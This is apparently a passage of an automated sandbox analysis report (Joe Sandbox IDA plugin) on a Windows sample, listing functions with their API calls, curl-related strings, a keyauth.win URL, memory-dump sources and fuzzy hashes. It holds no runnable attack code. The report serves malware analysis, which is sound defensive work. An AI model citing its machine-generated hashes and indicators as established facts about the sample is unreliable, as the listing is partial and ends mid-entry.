Instruction Fuzzy Hash: 8031C891E2D782C5EB14BB6195001F9A765BF05BC8FC50A35CE5E1B39AEE3CE142CB20

Function 00007FF747D8748F Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D89110: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8915C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3061335427-517259162
Opcode ID: e8f8e1119d8f664448a53c165c6e65c980d9a364779f0fe52f2c216c99377cce
Instruction ID: 4575c391192c73a170001e8c3e20b4a251974191cd42f2da9b3eac307307cead
Opcode Fuzzy Hash: e8f8e1119d8f664448a53c165c6e65c980d9a364779f0fe52f2c216c99377cce
Instruction Fuzzy Hash: A531A751A2D782C5EB14BB6195041F9A761BF05BC8FC51A35CE5E1B39AEE3CE102CB20

Function 00007FF747D87469 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D8AC20: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8AC55

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3061335427-517259162
Opcode ID: 5ec3e6fecba39bd3d991c3c6fb9a38e0fd5dbbeef94bd947f9992e81f5bad80f
Instruction ID: fe391bf24dee48eb0b07dcb5abafd4048d12d68139a43d9ba6b8f8812c284c35
Opcode Fuzzy Hash: 5ec3e6fecba39bd3d991c3c6fb9a38e0fd5dbbeef94bd947f9992e81f5bad80f
Instruction Fuzzy Hash: CF31B691A2D782C5EB14BB6195001F9A765BF05BC8FC50A35CE5E1B39AEF3CE102CB20

Function 00007FF747D76273 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7628F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7630B

Strings

OS/400, xrefs: 00007FF747D762D9
SITE NAMEFMT 1, xrefs: 00007FF747D762EC

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: OS/400$SITE NAMEFMT 1
API String ID: 3061335427-2049154998
Opcode ID: 238c0afdacb31243b85ac3d1db810fa013d497470da026d92261a530de5efd79
Instruction ID: 27fe42131d7a7a1706494fdad5b54a1cc485fa152b0419911cc4d27b3294e101
Opcode Fuzzy Hash: 238c0afdacb31243b85ac3d1db810fa013d497470da026d92261a530de5efd79
Instruction Fuzzy Hash: 7231B421A2D682C5F7B5BB25A8503B8A360BF45784FD44131CE8D6B785EE3CE447CB25

Function 00007FF747D32620 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

Part of subcall function 00007FF747D33C40: memcpy.VCRUNTIME140 ref: 00007FF747D33C93

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D326F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32740
__std_exception_copy.VCRUNTIME140 ref: 00007FF747D32790
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D327DD

Strings

out_of_range, xrefs: 00007FF747D32666

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$__std_exception_copy
String ID: out_of_range
API String ID: 2484256320-3053435996
Opcode ID: 76b5d1f39a06f829aa9331822407c70e4fe0090e782a3815653c09b6c0711f4b
Instruction ID: 0eb30fa9b3ad3f4704e8d86b760cdb1e1f7fb41900f22d4462dcc0bfffbe8e15
Opcode Fuzzy Hash: 76b5d1f39a06f829aa9331822407c70e4fe0090e782a3815653c09b6c0711f4b
Instruction Fuzzy Hash: 17518E72A28B42D9EB00EF64D5503AC7365FB557A8F804331EA6C03AD9DF38E196C710

Function 00007FF747D7FE90 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7FF08
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7FF3A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7FFAA

Part of subcall function 00007FF747D68210: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF747D4B23A,?,?,?,?,?,?,?,00007FF747D4B007), ref: 00007FF747D68221

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D80025

Strings

0123456789abcdefABCDEF:., xrefs: 00007FF747D7FEFE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _errno_strdupstrcspnstrncmpstrspn
String ID: 0123456789abcdefABCDEF:.
API String ID: 2191890455-446397347
Opcode ID: ca6300237a503bd3a250d5ee3d5486e4091a75e784b40d1668d8d2c94c973a18
Instruction ID: d8089e1cbacf0148dce8f8dc4d7b68b8ca88fdd2ddbaf085a1dc8c40024cff58
Opcode Fuzzy Hash: ca6300237a503bd3a250d5ee3d5486e4091a75e784b40d1668d8d2c94c973a18
Instruction Fuzzy Hash: 7D41E452A2CAC5C5EB31BB209810379F794EB06B54FC90636DAAD476C5DF2CE44BCB21

Function 00007FF747D89E78 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A243
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8A257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8A2BE

Strings

%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF747D89F26
GMT, xrefs: 00007FF747D89ED4

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: isupper$free
String ID: %u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT
API String ID: 573759493-632690687
Opcode ID: 343ef0198a30bded6e874855b7bac8952b7913ac847ed004ba77e1029ef942e7
Instruction ID: d6eee044875563ca3f85aad0e0e80f3f486f68cf47b93574edd69029b9a4f73d
Opcode Fuzzy Hash: 343ef0198a30bded6e874855b7bac8952b7913ac847ed004ba77e1029ef942e7
Instruction Fuzzy Hash: BA41D461A2DA82D5FB71FB249140378FB91AB41780FDA5732C69E12689CF3DE543CB20

Function 00007FF747D5F860 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5F8CA
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5F93B
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF747D5F99B

Strings

:%u, xrefs: 00007FF747D5F8DE, 00007FF747D5F944
Hostname in DNS cache was stale, zapped, xrefs: 00007FF747D5F9C2

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: tolower$_time64
String ID: :%u$Hostname in DNS cache was stale, zapped
API String ID: 4068448496-2924501231
Opcode ID: 521fe6832f3cf790d4b15facc39401459d45f648660c420e41be536990509afb
Instruction ID: faed1df87bde6f05f59c70a4c8cccfae4df723f71c4e293120d390794ac72985
Opcode Fuzzy Hash: 521fe6832f3cf790d4b15facc39401459d45f648660c420e41be536990509afb
Instruction Fuzzy Hash: 6A41A362A2CA82D6EA25BF11E4407B9A761EB45B98FC54332DE4D0B795DF3CE106CB10

Function 00007FF747D34320 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351
memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34416
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D3446A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D34471

Part of subcall function 00007FF747D8FB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF747D343FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D8FB32

Strings

https://keyauth.win/api/1.2/, xrefs: 00007FF747D34322

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: https://keyauth.win/api/1.2/
API String ID: 1155477157-3933380396
Opcode ID: e5d09450d75d7d0d2a987c36b25d823e2b26b5c7a33540b2d8d186e69df48b6a
Instruction ID: 3ed20224c9fa18b442aebed8b7042314f75a098877fe814298d9d6c544b5cc23
Opcode Fuzzy Hash: e5d09450d75d7d0d2a987c36b25d823e2b26b5c7a33540b2d8d186e69df48b6a
Instruction Fuzzy Hash: 6C31BD62B2EA86C6FA18BA95A6142789241AB05FE4F940730CE3D07BD5DE7CE0838750

Function 00007FF747D77320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D6C990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF747D53D1F), ref: 00007FF747D6C9BE

_open.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D773DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7742B
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D77442
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7745B

Strings

Couldn't open file %s, xrefs: 00007FF747D77409

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_close_openmalloc
String ID: Couldn't open file %s
API String ID: 3412525164-447283422
Opcode ID: 2aa78f5bc71d4c5fa95e3ddca835f94173a24e12e9090b31d0f437c2ad20b55b
Instruction ID: 22fafa7eb2f928ca76b38c7d7f1927873be5b41f34d5d11302a66a630a455d8b
Opcode Fuzzy Hash: 2aa78f5bc71d4c5fa95e3ddca835f94173a24e12e9090b31d0f437c2ad20b55b
Instruction Fuzzy Hash: C141B461A1CB81C1EB14BF25E40027DE7A5FB45BE8F984631DA9D4B798CF3CE4428B21

Function 00007FF747D56690 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF747D5670E

Part of subcall function 00007FF747D42E10: GetLastError.KERNEL32 ref: 00007FF747D42E32
Part of subcall function 00007FF747D42E10: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42E3A

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5672C
recv.WS2_32 ref: 00007FF747D56757
WSAGetLastError.WS2_32 ref: 00007FF747D56769

Strings

Recv failure: %s, xrefs: 00007FF747D56795

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$_errnofreememcpyrecv
String ID: Recv failure: %s
API String ID: 267823591-4276829032
Opcode ID: ca46f200b82e1adf06dd143e3a4dc972eed31ba8d415bfd83557f489aaddfe68
Instruction ID: 21c31bdcc8e56f856f6cdb985b2b64381aa4409b91c156c1e16b3b4e722e7779
Opcode Fuzzy Hash: ca46f200b82e1adf06dd143e3a4dc972eed31ba8d415bfd83557f489aaddfe68
Instruction Fuzzy Hash: F531CE76B19B41C2EB50BF11E9402A9A360BB58FD8F914231CE5D07788DE3CD456CB50

Function 00007FF747D5D120 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D5D215
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5D274

Strings

Connection died, retrying a fresh connect, xrefs: 00007FF747D5D1FF
Connection died, tried %d times before giving up, xrefs: 00007FF747D5D1D8
REFUSED_STREAM, retrying a fresh connect, xrefs: 00007FF747D5D1AB

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: Connection died, retrying a fresh connect$Connection died, tried %d times before giving up$REFUSED_STREAM, retrying a fresh connect
API String ID: 1865132094-195851662
Opcode ID: f16b21b77d4c81fbba74814a81fdec6d0cbefe19cea108c1aebaaf06ca801d6d
Instruction ID: 7f9fc6d79242b8b2cd3c3e1357aa8a2b0522171961bbd81c4471f71e034b2aea
Opcode Fuzzy Hash: f16b21b77d4c81fbba74814a81fdec6d0cbefe19cea108c1aebaaf06ca801d6d
Instruction Fuzzy Hash: D0417432B2C682C2E755EF25E4903A9A790EB44B88FC94131DB4E4B795DF3DD492CB20

Function 00007FF747D716E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7171B
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D71761
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D717C6

Strings

RCPT TO:<%s>, xrefs: 00007FF747D717AB
RCPT TO:<%s@%s>, xrefs: 00007FF747D7179D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfreestrpbrk
String ID: RCPT TO:<%s>$RCPT TO:<%s@%s>
API String ID: 1812939018-579818044
Opcode ID: 60c15f7d09dcad11e8e90f63e8166c11e01d1a905cc88d36ae392e94e60358de
Instruction ID: 2369c63e964980e56cec0c13124388bc46ee8ab17b5ee4c96fad83c949f3553f
Opcode Fuzzy Hash: 60c15f7d09dcad11e8e90f63e8166c11e01d1a905cc88d36ae392e94e60358de
Instruction Fuzzy Hash: C3319266A2CB81C1EB01FB25E4402B9E3A1FB89B94F844331DA9D0B795DF6CD506CB10

Function 00007FF747D89610 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8963D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D89B06

Strings

FALSE, xrefs: 00007FF747D89632
%s: %s, xrefs: 00007FF747D89AF1
TRUE, xrefs: 00007FF747D8962B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: %s: %s$FALSE$TRUE
API String ID: 1865132094-3430445539
Opcode ID: a0668f6f08a5207906d9e598c81a2e904b764e4c26932b466be4701ecc668148
Instruction ID: b19785625a6ab073f4f94c65b439fdbcfc2e16b6d902eaa35703c95482fe68d5
Opcode Fuzzy Hash: a0668f6f08a5207906d9e598c81a2e904b764e4c26932b466be4701ecc668148
Instruction Fuzzy Hash: 04019651A2C782C5EA65BB56E8403BAA350BB45BC4FC94531CE9D07359DF2CE187CB20

Function 00007FF747D6735C Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu, xrefs: 00007FF747D674F9
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu], xrefs: 00007FF747D674D9
unknown, xrefs: 00007FF747D673EA
SOCKS5: connecting to HTTP proxy %s port %d, xrefs: 00007FF747D674B0

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: SOCKS5: connecting to HTTP proxy %s port %d$SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu]$unknown$warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu
API String ID: 0-3012371547
Opcode ID: b84debb6d9510ae538666e16e91284ee1a91bca776b13676c904f4af6de072ea
Instruction ID: e9ff9c2e6d10c4ddb79f292092096d59e577763e98934c3dee9610d2055ff16f
Opcode Fuzzy Hash: b84debb6d9510ae538666e16e91284ee1a91bca776b13676c904f4af6de072ea
Instruction Fuzzy Hash: 4261B473A1C786C6E705AB24D4403ADBBA5EB55BA4F848235DA4947785EB3CE442CF20

Function 00007FF747D7234B Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D72400

Strings

Failure sending ABOR command: %s, xrefs: 00007FF747D72521
Remembering we are in dir "%s", xrefs: 00007FF747D72498
ABOR, xrefs: 00007FF747D724FB
control connection looks dead, xrefs: 00007FF747D725F2

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: ABOR$Failure sending ABOR command: %s$Remembering we are in dir "%s"$control connection looks dead
API String ID: 1294909896-1891748601
Opcode ID: a61e15c8e497079b5260048dad64b39a4f76ef6f24250cbc46f7a90162b348d6
Instruction ID: 768414c2297b8e90f57a0306bcc024f4e60e64c88a1ec33279e691992fa10268
